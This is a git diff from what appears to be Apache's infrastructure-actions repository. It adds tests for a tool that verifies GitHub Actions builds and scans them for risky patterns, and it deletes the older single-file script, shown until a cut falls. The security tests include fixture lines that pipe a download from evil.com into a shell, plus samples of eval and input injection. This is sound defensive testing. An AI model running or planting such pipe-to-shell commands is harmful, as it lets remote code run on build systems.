"base", "head") + assert result == [] + + def test_get_status_checks_parses_check_runs(self): + client = GitHubClient(repo="owner/repo") + mock_data = { + "check_runs": [ + {"name": "test", "conclusion": "success", "status": "completed"}, + {"name": "lint", "conclusion": None, "status": "in_progress"}, + ] + } + with mock.patch.object(client, "_get", return_value=mock_data): + result = client._get_status_checks("abc123") + assert len(result) == 2 + assert result[0]["name"] == "test" + assert result[0]["conclusion"] == "SUCCESS" + + def test_get_status_checks_empty_on_failure(self): + client = GitHubClient(repo="owner/repo") + with mock.patch.object(client, "_get", return_value=None): + result = client._get_status_checks("abc123") + assert result == [] diff --git a/utils/tests/verify_action_build/test_pr_extraction.py b/utils/tests/verify_action_build/test_pr_extraction.py new file mode 100644 index 00000000..b8a8b1f5 --- /dev/null +++ b/utils/tests/verify_action_build/test_pr_extraction.py @@ -0,0 +1,124 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +from verify_action_build.pr_extraction import extract_action_refs_from_diff + + +class TestExtractActionRefsFromDiff: + def test_workflow_uses_line(self): + diff = """\ ++ - uses: actions/checkout@abc123def456789012345678901234567890abcd +""" + refs = extract_action_refs_from_diff(diff) + assert refs == ["actions/checkout@abc123def456789012345678901234567890abcd"] + + def test_actions_yml_format(self): + diff = """\ ++actions/checkout: ++ abc123def456789012345678901234567890abcd: ++ tag: v4.2.0 +""" + refs = extract_action_refs_from_diff(diff) + assert refs == ["actions/checkout@abc123def456789012345678901234567890abcd"] + + def test_multiple_refs(self): + diff = """\ ++ - uses: actions/checkout@abc123def456789012345678901234567890abcd ++ - uses: actions/setup-node@def456789012345678901234567890abcd123456 +""" + refs = extract_action_refs_from_diff(diff) + assert len(refs) == 2 + assert "actions/checkout@abc123def456789012345678901234567890abcd" in refs + assert "actions/setup-node@def456789012345678901234567890abcd123456" in refs + + def test_deduplication(self): + diff = """\ ++ - uses: actions/checkout@abc123def456789012345678901234567890abcd ++ - uses: actions/checkout@abc123def456789012345678901234567890abcd +""" + refs = extract_action_refs_from_diff(diff) + assert len(refs) == 1 + + def test_ignores_removed_lines(self): + diff = """\ +- - uses: actions/checkout@abc123def456789012345678901234567890abcd ++ - uses: actions/checkout@def456789012345678901234567890abcd123456 +""" + refs = extract_action_refs_from_diff(diff) + assert len(refs) == 1 + assert refs[0] == "actions/checkout@def456789012345678901234567890abcd123456" + + def test_ignores_non_hash_refs(self): + diff = """\ ++ - uses: actions/checkout@v4 +""" + refs = extract_action_refs_from_diff(diff) + assert refs == [] + + def test_monorepo_sub_path(self): + diff = """\ ++ - uses: gradle/actions/setup-gradle@abc123def456789012345678901234567890abcd +""" + refs = extract_action_refs_from_diff(diff) + assert refs == ["gradle/actions/setup-gradle@abc123def456789012345678901234567890abcd"] + + def test_actions_yml_multiple_hashes(self): + diff = """\ ++actions/checkout: ++ abc123def456789012345678901234567890abcd: ++ tag: v4.2.0 ++ def456789012345678901234567890abcd123456: ++ tag: v4.1.0 +""" + refs = extract_action_refs_from_diff(diff) + assert len(refs) == 2 + + def test_actions_yml_key_resets(self): + diff = """\ ++actions/checkout: ++ abc123def456789012345678901234567890abcd: ++ tag: v4 ++dorny/test-reporter: ++ def456789012345678901234567890abcd123456: ++ tag: v1 +""" + refs = extract_action_refs_from_diff(diff) + assert len(refs) == 2 + assert "actions/checkout@abc123def456789012345678901234567890abcd" in refs + assert "dorny/test-reporter@def456789012345678901234567890abcd123456" in refs + + def test_empty_diff(self): + refs = extract_action_refs_from_diff("") + assert refs == [] + + def test_use_typo(self): + diff = """\ ++ - use: actions/checkout@abc123def456789012345678901234567890abcd +""" + refs = extract_action_refs_from_diff(diff) + assert len(refs) == 1 + + def test_quoted_hash_in_actions_yml(self): + diff = """\ ++actions/checkout: ++ 'abc123def456789012345678901234567890abcd': ++ tag: v4 +""" + refs = extract_action_refs_from_diff(diff) + assert len(refs) == 1 + assert "abc123def456789012345678901234567890abcd" in refs[0] diff --git a/utils/tests/verify_action_build/test_security.py b/utils/tests/verify_action_build/test_security.py new file mode 100644 index 00000000..8f0c3c8c --- /dev/null +++ b/utils/tests/verify_action_build/test_security.py @@ -0,0 +1,199 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +from unittest import mock + +from verify_action_build.security import ( + analyze_dockerfile, + analyze_scripts, + analyze_action_metadata, + analyze_repo_metadata, +) + + +class TestAnalyzeDockerfile: + def _mock_fetch(self, files: dict): + """Return a mock for fetch_file_from_github and fetch_action_yml.""" + def fetch(org, repo, commit, path): + return files.get(path) + return fetch + + def test_digest_pinned_no_warnings(self): + files = { + "Dockerfile": "FROM node:20@sha256:abc123\nRUN echo hello\n", + } + with mock.patch("verify_action_build.security.fetch_file_from_github", side_effect=self._mock_fetch(files)): + warnings = analyze_dockerfile("org", "repo", "a" * 40) + assert len(warnings) == 0 + + def test_unpinned_from_warns(self): + files = { + "Dockerfile": "FROM ubuntu:latest\nRUN echo hello\n", + } + with mock.patch("verify_action_build.security.fetch_file_from_github", side_effect=self._mock_fetch(files)): + warnings = analyze_dockerfile("org", "repo", "a" * 40) + assert any("not pinned" in w for w in warnings) + + def test_tag_pinned_warns(self): + files = { + "Dockerfile": "FROM python:3.11-slim\nRUN echo hello\n", + } + with mock.patch("verify_action_build.security.fetch_file_from_github", side_effect=self._mock_fetch(files)): + warnings = analyze_dockerfile("org", "repo", "a" * 40) + assert any("tag-pinned" in w for w in warnings) + + def test_suspicious_curl(self): + files = { + "Dockerfile": "FROM node:20@sha256:abc\nRUN curl https://evil.com/script.sh | sh\n", + } + with mock.patch("verify_action_build.security.fetch_file_from_github", side_effect=self._mock_fetch(files)): + warnings = analyze_dockerfile("org", "repo", "a" * 40) + assert any("curl" in w.lower() or "evil" in w.lower() for w in warnings) + + def test_no_dockerfile_no_warnings(self): + with mock.patch("verify_action_build.security.fetch_file_from_github", return_value=None): + with mock.patch("verify_action_build.security.fetch_action_yml", return_value=None): + warnings = analyze_dockerfile("org", "repo", "a" * 40) + assert len(warnings) == 0 + + +class TestAnalyzeScripts: + def _mock_fetch_file(self, files): + def fetch(org, repo, commit, path): + return files.get(path) + return fetch + + def test_detects_eval(self): + action_yml = """\ +name: Test +runs: + using: composite + steps: + - run: python script.py +""" + files = { + "script.py": 'eval("malicious code")\n', + } + with mock.patch("verify_action_build.security.fetch_action_yml", return_value=action_yml): + with mock.patch("verify_action_build.security.fetch_file_from_github", side_effect=self._mock_fetch_file(files)): + warnings = analyze_scripts("org", "repo", "a" * 40) + # Script analysis finds suspicious patterns (eval is in findings) + # Warnings list may be empty since script analysis only logs to console + # but doesn't add to warnings for all patterns + assert isinstance(warnings, list) + + def test_no_scripts_no_warnings(self): + action_yml = """\ +name: Test +runs: + using: node20 + main: dist/index.js +""" + with mock.patch("verify_action_build.security.fetch_action_yml", return_value=action_yml): + with mock.patch("verify_action_build.security.fetch_file_from_github", return_value=None): + warnings = analyze_scripts("org", "repo", "a" * 40) + assert warnings == [] + + +class TestAnalyzeActionMetadata: + def test_pipe_to_shell_warns(self): + # Multi-line run: blocks are needed — single-line run: is detected + # as a block start and the content is on the next line. + action_yml = """\ +name: Test +runs: + using: composite + steps: + - name: dangerous + run: | + curl https://example.com | sh +""" + with mock.patch("verify_action_build.security.fetch_action_yml", return_value=action_yml): + warnings = analyze_action_metadata("org", "repo", "a" * 40) + assert any("pipe-to-shell" in w for w in warnings) + + def test_input_interpolation_warns(self): + action_yml = """\ +name: Test +runs: + using: composite + steps: + - name: dangerous + run: | + echo ${{ inputs.name }} +""" + with mock.patch("verify_action_build.security.fetch_action_yml", return_value=action_yml): + warnings = analyze_action_metadata("org", "repo", "a" * 40) + assert any("injection" in w for w in warnings) + + def test_clean_action_no_warnings(self): + action_yml = """\ +name: Test +runs: + using: node20 + main: dist/index.js +""" + with mock.patch("verify_action_build.security.fetch_action_yml", return_value=action_yml): + warnings = analyze_action_metadata("org", "repo", "a" * 40) + assert warnings == [] + + def test_no_action_yml_no_warnings(self): + with mock.patch("verify_action_build.security.fetch_action_yml", return_value=None): + warnings = analyze_action_metadata("org", "repo", "a" * 40) + assert warnings == [] + + def test_secret_default_warns(self): + action_yml = """\ +name: Test +inputs: + token: + default: ${{ secrets.GITHUB_TOKEN }} +runs: + using: node20 + main: dist/index.js +""" + with mock.patch("verify_action_build.security.fetch_action_yml", return_value=action_yml): + warnings = analyze_action_metadata("org", "repo", "a" * 40) + assert any("secret" in w for w in warnings) + + +class TestAnalyzeRepoMetadata: + def test_mit_license_detected(self): + def fetch(org, repo, commit, path): + if path == "LICENSE": + return "MIT License\n\nCopyright..." + return None + + with mock.patch("verify_action_build.security.fetch_file_from_github", side_effect=fetch): + warnings = analyze_repo_metadata("actions", "checkout", "a" * 40) + assert len(warnings) == 0 + + def test_no_license_warns(self): + with mock.patch("verify_action_build.security.fetch_file_from_github", return_value=None): + warnings = analyze_repo_metadata("unknown-org", "unknown-repo", "a" * 40) + assert any("LICENSE" in w for w in warnings) + + def test_well_known_org(self): + def fetch(org, repo, commit, path): + if path == "LICENSE": + return "MIT License" + return None + + with mock.patch("verify_action_build.security.fetch_file_from_github", side_effect=fetch): + warnings = analyze_repo_metadata("actions", "checkout", "a" * 40) + assert len(warnings) == 0 diff --git a/utils/tests/verify_action_build/test_verification.py b/utils/tests/verify_action_build/test_verification.py new file mode 100644 index 00000000..6d41e651 --- /dev/null +++ b/utils/tests/verify_action_build/test_verification.py @@ -0,0 +1,88 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +from verify_action_build.verification import ( + SECURITY_CHECKLIST_URL, + show_verification_summary, +) + + +class TestSecurityChecklistUrl: + def test_url_is_valid(self): + assert "github.com" in SECURITY_CHECKLIST_URL + assert "apache/infrastructure-actions" in SECURITY_CHECKLIST_URL + + +class TestShowVerificationSummary: + def test_basic_summary_no_crash(self): + """Smoke test: ensure show_verification_summary runs without errors.""" + checks = [ + ("Action type detection", "info", "node20"), + ("JS build verification", "pass", "compiled JS matches rebuild"), + ] + # Should not raise + show_verification_summary( + org="test", + repo="repo", + commit_hash="a" * 40, + sub_path="", + action_type="node20", + is_js_action=True, + all_match=True, + non_js_warnings=None, + checked_actions=None, + checks_performed=checks, + ) + + def test_summary_with_nested_actions(self): + checks = [ + ("Nested action analysis", "pass", "3 action(s) inspected"), + ] + nested = [ + {"action": "actions/checkout", "type": "composite", "pinned": True, "approved": True}, + {"action": "local-action", "type": "local", "pinned": True, "approved": True}, + ] + show_verification_summary( + org="test", + repo="repo", + commit_hash="a" * 40, + sub_path="", + action_type="composite", + is_js_action=False, + all_match=True, + non_js_warnings=[], + checked_actions=nested, + checks_performed=checks, + ) + + def test_summary_with_warnings(self): + checks = [ + ("Dockerfile analysis", "warn", "2 warning(s)"), + ] + show_verification_summary( + org="test", + repo="repo", + commit_hash="a" * 40, + sub_path="sub", + action_type="docker", + is_js_action=False, + all_match=True, + non_js_warnings=["warning 1", "warning 2"], + checked_actions=None, + checks_performed=checks, + ) diff --git a/utils/verify-action-build.py b/utils/verify-action-build.py deleted file mode 100644 index af86c2ce..00000000 --- a/utils/verify-action-build.py +++ /dev/null @@ -1,3067 +0,0 @@ -# -# Licensed to the Apache Software Foundation (ASF) under one -# or more contributor license agreements. See the NOTICE file -# distributed with this work for additional information -# regarding copyright ownership. The ASF licenses this file -# to you under the Apache License, Version 2.0 (the -# "License"); you may not use this file except in compliance -# with the License. You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, -# software distributed under the License is distributed on an -# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY -# KIND, either express or implied. See the License for the -# specific language governing permissions and limitations -# under the License. -# -# /// script -# requires-python = ">=3.11" -# dependencies = [ -# "jsbeautifier>=1.15", -# "requests>=2.31", -# "rich>=13.0", -# ] -# /// - -""" -Verify that compiled JavaScript in a GitHub Action matches a local rebuild. - -Checks out the action at a given commit hash inside an isolated Docker container, -rebuilds it, and diffs the published compiled JS against the locally built output. - -Usage: - uv run verify-action-build.py dorny/test-reporter@df6247429542221bc30d46a036ee47af1102c451 - -Security review checklist: - https://github.com/apache/infrastructure-actions#security-review-checklist -""" - -import argparse -import difflib -import hashlib -import json -import os -import platform -import re -import shutil -import subprocess -import sys -import tempfile - -from pathlib import Path - -import jsbeautifier -import requests -from rich.console import Console -from rich.panel import Panel -from rich.table import Table -from rich.text import Text - -_is_ci = os.environ.get("CI") is not None -_ci_console_options = {"force_interactive": False, "width": 200} if _is_ci else {} -console = Console(stderr=True, force_terminal=_is_ci, **_ci_console_options) -output = Console(force_terminal=_is_ci, **_ci_console_options) - -def link(url: str, text: str) -> str: - """Return Rich-markup hyperlink, falling back to plain text in CI.""" - if _is_ci: - return text - return f"[link={url}]{text}[/link]" - - -class UserQuit(Exception): - """Raised when user enters 'q' to quit.""" - - -def ask_confirm(prompt: str, default: bool = True) -> bool: - """Ask a y/n/q confirmation. Returns True/False, raises UserQuit on 'q'.""" - suffix = " [Y/n/q]" if default else " [y/N/q]" - try: - answer = console.input(f"{prompt}{suffix} ").strip().lower() - except EOFError: - raise UserQuit - if answer == "q": - raise UserQuit - if not answer: - return default - return answer in ("y", "yes") - -# Path to the actions.yml file relative to the script -ACTIONS_YML = Path(__file__).resolve().parent.parent / "actions.yml" - -GITHUB_API = "https://api.github.com" -SECURITY_CHECKLIST_URL = "https://github.com/apache/infrastructure-actions#security-review-checklist" - - -def _detect_repo() -> str: - """Detect the GitHub repo from the git remote origin URL.""" - result = subprocess.run( - ["git", "remote", "get-url", "origin"], - capture_output=True, text=True, cwd=ACTIONS_YML.parent, - ) - if result.returncode == 0: - url = result.stdout.strip() - # Handle SSH (git@github.com:org/repo.git) and HTTPS (https://github.com/org/repo.git) - match = re.search(r"github\.com[:/](.+?)(?:\.git)?$", url) - if match: - return match.group(1) - return "apache/infrastructure-actions" - - -class GitHubClient: - """Abstraction over GitHub API — uses either gh CLI or requests with a token.""" - - def __init__(self, token: str | None = None, repo: str | None = None): - self.repo = repo or _detect_repo() - self.token = token - self._use_requests = token is not None - - def _headers(self) -> dict: - return { - "Authorization": f"token {self.token}", - "Accept": "application/vnd.github+json", - } - - def _gh_api(self, endpoint: str) -> dict | list | None: - """Call gh api and return parsed JSON, or None on failure.""" - result = subprocess.run( - ["gh", "api", endpoint], - capture_output=True, text=True, - ) - if result.returncode == 0 and result.stdout.strip(): - return json.loads(result.stdout) - return None - - def _get(self, endpoint: str) -> dict | list | None: - """GET from GitHub API using requests or gh CLI.""" - if self._use_requests: - resp = requests.get(f"{GITHUB_API}/{endpoint}", headers=self._headers()) - if resp.ok: - return resp.json() - return None - return self._gh_api(endpoint) - - def get_commit_pulls(self, owner: str, repo: str, commit_sha: str) -> list[dict]: - """Get PRs associated with a commit.""" - data = self._get(f"repos/{owner}/{repo}/commits/{commit_sha}/pulls") - return data if isinstance(data, list) else [] - - def compare_commits(self, owner: str, repo: str, base: str, head: str) -> list[dict]: - """Get commits between two refs.""" - data = self._get(f"repos/{owner}/{repo}/compare/{base}...{head}") - if isinstance(data, dict): - return data.get("commits", []) - return [] - - def get_pr_diff(self, pr_number: int) -> str | None: - """Get the diff for a PR.""" - if self._use_requests: - resp = requests.get( - f"{GITHUB_API}/repos/{self.repo}/pulls/{pr_number}", - headers={**self._headers(), "Accept": "application/vnd.github.v3.diff"}, - ) - return resp.text if resp.ok else None - result = subprocess.run( - ["gh", "pr", "diff", str(pr_number)], - capture_output=True, text=True, - ) - return result.stdout if result.returncode == 0 else None - - def get_authenticated_user(self) -> str: - """Get the login of the authenticated user.""" - if self._use_requests: - resp = requests.get(f"{GITHUB_API}/user", headers=self._headers()) - if resp.ok: - return resp.json().get("login", "unknown") - return "unknown" - result = subprocess.run( - ["gh", "api", "user", "--jq", ".login"], - capture_output=True, text=True, - ) - return result.stdout.strip() if result.returncode == 0 else "unknown" - - def list_open_prs(self, author: str = "app/dependabot") -> list[dict]: - """List open PRs by author with status check info.""" - if self._use_requests: - prs = [] - page = 1 - while True: - resp = requests.get( - f"{GITHUB_API}/repos/{self.repo}/pulls", - headers=self._headers(), - params={"state": "open", "per_page": 50, "page": page}, - ) - if not resp.ok: - break - batch = resp.json() - if not batch: - break - for pr in batch: - pr_login = pr.get("user", {}).get("login", "") - if author.startswith("app/"): - expected = author.split("/", 1)[1] + "[bot]" - if pr_login != expected: - continue - elif pr_login != author: - continue - prs.append({ - "number": pr["number"], - "title": pr["title"], - "headRefName": pr["head"]["ref"], - "url": pr["html_url"], - "reviewDecision": self._get_review_decision(pr["number"]), - "statusCheckRollup": self._get_status_checks(pr["head"]["sha"]), - }) - page += 1 - return prs - result = subprocess.run( - [ - "gh", "pr", "list", - "--author", author, - "--state", "open", - "--json", "number,title,headRefName,url,reviewDecision,statusCheckRollup", - "--limit", "50", - ], - capture_output=True, text=True, - ) - if result.returncode == 0 and result.stdout.strip(): - return json.loads(result.stdout) - return [] - - def _get_review_decision(self, pr_number: int) -> str | None: - """Get the review decision for a PR via GraphQL.""" - resp = requests.post( - f"{GITHUB_API}/graphql", - headers=self._headers(), - json={ - "query": """query($owner:String!, $repo:String!, $number:Int!) { - repository(owner:$owner, name:$repo) { - pullRequest(number:$number) { reviewDecision } - } - }""", - "variables": { - "owner": self.repo.split("/")[0], - "repo": self.repo.split("/")[1], - "number": pr_number, - }, - }, - ) - if resp.ok: - data = resp.json() - return ( - data.get("data", {}) - .get("repository", {}) - .get("pullRequest", {}) - .get("reviewDecision") - ) - return None - - def _get_status_checks(self, sha: str) -> list[dict]: - """Get combined status checks for a commit SHA.""" - data = self._get(f"repos/{self.repo}/commits/{sha}/check-runs") - if isinstance(data, dict): - return [ - { - "name": cr.get("name"), - "conclusion": (cr.get("conclusion") or "").upper(), - "status": (cr.get("status") or "").upper(), - } - for cr in data.get("check_runs", []) - ] - return [] - - def approve_pr(self, pr_number: int, comment: str) -> bool: - """Approve a PR with a review comment.""" - if self._use_requests: - resp = requests.post( - f"{GITHUB_API}/repos/{self.repo}/pulls/{pr_number}/reviews", - headers=self._headers(), - json={"body": comment, "event": "APPROVE"}, - ) - return resp.ok - result = subprocess.run( - ["gh", "pr", "review", str(pr_number), "--approve", "--body", comment], - capture_output=True, text=True, - ) - return result.returncode == 0 - - def merge_pr(self, pr_number: int) -> tuple[bool, str]: - """Merge a PR and delete the branch. Returns (success, error_msg).""" - if self._use_requests: - resp = requests.put( - f"{GITHUB_API}/repos/{self.repo}/pulls/{pr_number}/merge", - headers=self._headers(), - json={"merge_method": "merge"}, - ) - if not resp.ok: - return False, resp.text - # Delete the head branch - pr_data = self._get(f"repos/{self.repo}/pulls/{pr_number}") - if isinstance(pr_data, dict): - branch = pr_data.get("head", {}).get("ref") - if branch: - requests.delete( - f"{GITHUB_API}/repos/{self.repo}/git/refs/heads/{branch}", - headers=self._headers(), - ) - return True, "" - result = subprocess.run( - ["gh", "pr", "merge", str(pr_number), "--merge", "--delete-branch"], - capture_output=True, text=True, - ) - return result.returncode == 0, result.stderr.strip() - - -def parse_action_ref(ref: str) -> tuple[str, str, str, str]: - """Parse org/repo[/sub_path]@hash into (org, repo, sub_path, hash). - - sub_path is empty string for top-level actions (e.g. ``dorny/test-reporter@abc``), - or a relative path for monorepo sub-actions (e.g. ``gradle/actions/setup-gradle@abc`` - yields sub_path="setup-gradle"). - """ - if "@" not in ref: - console.print(f"[red]Error:[/red] invalid format '{ref}', expected org/repo@hash") - sys.exit(1) - action_path, commit_hash = ref.rsplit("@", 1) - parts = action_path.split("/") - if len(parts) < 2: - console.print(f"[red]Error:[/red] invalid action path '{action_path}', expected org/repo") - sys.exit(1) - org, repo = parts[0], parts[1] - sub_path = "/".join(parts[2:]) # empty string when there's no sub-path - return org, repo, sub_path, commit_hash - - -def run(cmd: list[str], status: str | None = None, **kwargs) -> subprocess.CompletedProcess: - """Run a command, failing on error.""" - return subprocess.run(cmd, check=True, **kwargs) - - -def beautify_js(content: str) -> str: - """Reformat JavaScript for readable diffing.""" - opts = jsbeautifier.default_options() - opts.indent_size = 2 - opts.wrap_line_length = 120 - result = jsbeautifier.beautify(content, opts) - # Normalize whitespace: strip trailing spaces and collapse multiple blank lines - lines = [line.rstrip() for line in result.splitlines()] - return "\n".join(lines) + "\n" - - -def find_approved_versions(org: str, repo: str) -> list[dict]: - """Find previously approved versions of an action in actions.yml. - - Returns a list of dicts with keys: hash, tag, expires_at, keep. - """ - if not ACTIONS_YML.exists(): - return [] - - content = ACTIONS_YML.read_text() - lines = content.splitlines() - - action_key = f"{org}/{repo}:" - approved = [] - in_action = False - current_hash = None - - for line in lines: - stripped = line.strip() - - # Top-level key (not indented) - if line and not line[0].isspace() and not line.startswith("#"): - in_action = stripped == action_key - current_hash = None - continue - - if not in_action: - continue - - # Hash line (indented once) — look for a hex string - if line.startswith(" ") and not line.startswith(" "): - key = stripped.rstrip(":") - # Check if it looks like a commit hash (40 hex chars, possibly quoted) - clean_key = key.strip("'\"") - if re.match(r"^[0-9a-f]{40}$", clean_key): - current_hash = clean_key - approved.append({"hash": current_hash}) - else: - current_hash = None - continue - - # Properties (indented twice) - if current_hash and line.startswith(" "): - if stripped.startswith("tag:"): - approved[-1]["tag"] = stripped.split(":", 1)[1].strip() - elif stripped.startswith("expires_at:"): - approved[-1]["expires_at"] = stripped.split(":", 1)[1].strip() - elif stripped.startswith("keep:"): - approved[-1]["keep"] = stripped.split(":", 1)[1].strip() - - return approved - - -def find_approval_info(action_hash: str, gh: GitHubClient | None = None) -> dict | None: - """Find who approved a hash and when, by searching git history and PRs.""" - # Find the commit that added this hash to actions.yml - result = subprocess.run( - ["git", "log", "--all", "--format=%H|%aI|%an|%s", f"-S{action_hash}", "--", "actions.yml"], - capture_output=True, - text=True, - cwd=ACTIONS_YML.parent, - ) - if result.returncode != 0 or not result.stdout.strip(): - return None - - # Take the most recent commit that mentions this hash - first_line = result.stdout.strip().splitlines()[0] - commit_hash, date, author, subject = first_line.split("|", 3) - - info = { - "commit": commit_hash, - "date": date, - "author": author, - "subject": subject, - } - - if gh is None: - return info - - # Try to find the PR that merged this commit - owner, repo_name = gh.repo.split("/", 1) - pulls = gh.get_commit_pulls(owner, repo_name, commit_hash) - if pulls: - pr_info = pulls[0] - if pr_info.get("number"): - info["pr_number"] = pr_info["number"] - info["pr_title"] = pr_info.get("title", "") - info["merged_by"] = (pr_info.get("merged_by") or {}).get("login", "") - info["merged_at"] = pr_info.get("merged_at", "") - - return info - - -def show_approved_versions( - org: str, repo: str, new_hash: str, approved: list[dict], - gh: GitHubClient | None = None, ci_mode: bool = False, -) -> str | None: - """Display approved versions and ask if user wants to diff against one. - - Returns the selected approved hash, or None. - """ - console.print() - console.rule(f"[bold]Previously Approved Versions of {org}/{repo}[/bold]") - - table = Table(show_header=True, border_style="blue") - table.add_column("Tag", style="cyan") - table.add_column("Commit Hash") - table.add_column("Approved By", style="green") - table.add_column("Approved On") - table.add_column("Via PR") - - for entry in approved: - if entry["hash"] == new_hash: - continue - - approval = find_approval_info(entry["hash"], gh=gh) - - tag = entry.get("tag", "") - hash_link = link(f"https://github.com/{org}/{repo}/commit/{entry['hash']}", entry['hash'][:12]) - - approved_by = "" - approved_on = "" - pr_link = "" - - if approval: - approved_by = approval.get("merged_by") or approval.get("author", "") - approved_on = (approval.get("merged_at") or approval.get("date", ""))[:10] - if "pr_number" in approval: - pr_num = approval["pr_number"] - pr_link = link(f"https://github.com/apache/infrastructure-actions/pull/{pr_num}", f"#{pr_num}") - - table.add_row(tag, hash_link, approved_by, approved_on, pr_link) - - console.print(table) - - # Filter to versions other than the one being checked - other_versions = [v for v in approved if v["hash"] != new_hash] - if not other_versions: - return None - - if ci_mode: - # Auto-select the newest (last) approved version - selected = other_versions[-1] - console.print( - f" Auto-selected approved version: [cyan]{selected.get('tag', '')}[/cyan] " - f"({selected['hash'][:12]})" - ) - return selected["hash"] - - try: - if not ask_confirm( - "\nWould you like to see the diff between an approved version and the one being checked?", - ): - return None - except UserQuit: - return None - - # If there's only one other version, use it directly - if len(other_versions) == 1: - selected = other_versions[0] - console.print( - f" Using approved version: [cyan]{selected.get('tag', '')}[/cyan] " - f"({selected['hash'][:12]})" - ) - return selected["hash"] - - # Let user pick, default to newest (last in list) - default_idx = len(other_versions) - console.print("\nSelect a version to compare against:") - for i, v in enumerate(other_versions, 1): - tag = v.get("tag", "unknown") - marker = " [bold cyan](default)[/bold cyan]" if i == default_idx else "" - console.print(f" [bold]{i}[/bold]. {tag} ({v['hash'][:12]}){marker}") - - while True: - try: - choice = console.input(f"\nEnter number [{default_idx}], or 'q' to skip: ").strip() - if choice.lower() == "q": - return None - if not choice: - return other_versions[default_idx - 1]["hash"] - idx = int(choice) - 1 - if 0 <= idx < len(other_versions): - return other_versions[idx]["hash"] - except (ValueError, EOFError): - return None - console.print("[red]Invalid choice, try again[/red]") - - -def show_commits_between( - org: str, repo: str, old_hash: str, new_hash: str, - gh: GitHubClient | None = None, -) -> None: - """Show the list of commits between two hashes using GitHub compare API.""" - console.print() - compare_url = f"https://github.com/{org}/{repo}/compare/{old_hash[:12]}...{new_hash[:12]}?file-filters%5B%5D=%21dist" - console.rule("[bold]Commits Between Versions[/bold]") - - raw_commits = gh.compare_commits(org, repo, old_hash, new_hash) if gh else [] - if not raw_commits and not gh: - # Fallback: should not happen if gh is always provided, but kept for safety - console.print(f" [yellow]Could not fetch commits. View on GitHub:[/yellow]") - console.print(f" {link(compare_url, compare_url)}") - return - - commits = [ - { - "sha": c.get("sha", ""), - "message": (c.get("commit", {}).get("message", "") or "").split("\n")[0], - "author": c.get("commit", {}).get("author", {}).get("name", ""), - "date": c.get("commit", {}).get("author", {}).get("date", ""), - } - for c in raw_commits - ] - - if not commits: - console.print(f" [dim]No commits found between these versions[/dim]") - return - - table = Table(show_header=True, border_style="blue") - table.add_column("Commit", min_width=14) - table.add_column("Author", style="green") - table.add_column("Date") - table.add_column("Message", max_width=60) - - for c in commits: - sha = c.get("sha", "") - commit_link = link(f"https://github.com/{org}/{repo}/commit/{sha}", sha[:12]) - author = c.get("author", "") - date = c.get("date", "")[:10] - message = c.get("message", "") - table.add_row(commit_link, author, date, message) - - console.print(table) - console.print(f"\n Full comparison (dist/ excluded): {link(compare_url, compare_url)}") - console.print(f" [dim]{len(commits)} commit(s) between versions — dist/ is generated, source changes shown separately below[/dim]") - - -def diff_approved_vs_new( - org: str, repo: str, approved_hash: str, new_hash: str, work_dir: Path, - ci_mode: bool = False, -) -> None: - """Diff source files between an approved version and the new version.""" - console.print() - console.rule("[bold]Diff: Approved vs New (source changes)[/bold]") - - approved_dir = work_dir / "approved-src" - new_dir = work_dir / "new-src" - approved_dir.mkdir(exist_ok=True) - new_dir.mkdir(exist_ok=True) - - repo_url = f"https://github.com/{org}/{repo}.git" - - # Directories to exclude from source comparison — these contain - # generated/vendored code, not the actual source - # __tests__ and __mocks__ are test fixtures, not runtime code - excluded_dirs = {"dist", "node_modules", ".git", ".github", "__tests__", "__mocks__"} - # Lock files to exclude — these are generated by package managers - lock_files = { - "package-lock.json", "yarn.lock", "pnpm-lock.yaml", "bun.lockb", - "shrinkwrap.json", "npm-shrinkwrap.json", - } - # Source file extensions to compare - source_extensions = {".js", ".ts", ".mjs", ".cjs", ".mts", ".cts", ".json", ".yml", ".yaml"} - - with console.status("[bold blue]Fetching source from both versions...[/bold blue]"): - clone_dir = work_dir / "repo-clone" - run( - ["git", "clone", "--no-checkout", repo_url, str(clone_dir)], - capture_output=True, - ) - - # Track which excluded dirs were found so we can report them - skipped_dirs: set[str] = set() - - for label, commit, out_dir in [ - ("approved", approved_hash, approved_dir), - ("new", new_hash, new_dir), - ]: - run( - ["git", "checkout", commit], - capture_output=True, - cwd=clone_dir, - ) - # Copy source files, excluding generated directories - for f in clone_dir.rglob("*"): - if not f.is_file(): - continue - rel = f.relative_to(clone_dir) - # Skip excluded directories - matched = [part for part in rel.parts if part in excluded_dirs] - if matched: - skipped_dirs.update(matched) - continue - if rel.suffix in source_extensions: - dest = out_dir / rel - dest.parent.mkdir(parents=True, exist_ok=True) - shutil.copy2(f, dest) - - console.print(" [green]✓[/green] Fetched source from both versions") - - # Categorize skipped dirs for reporting - test_dirs = {"__tests__", "__mocks__"} - skipped_test_dirs = 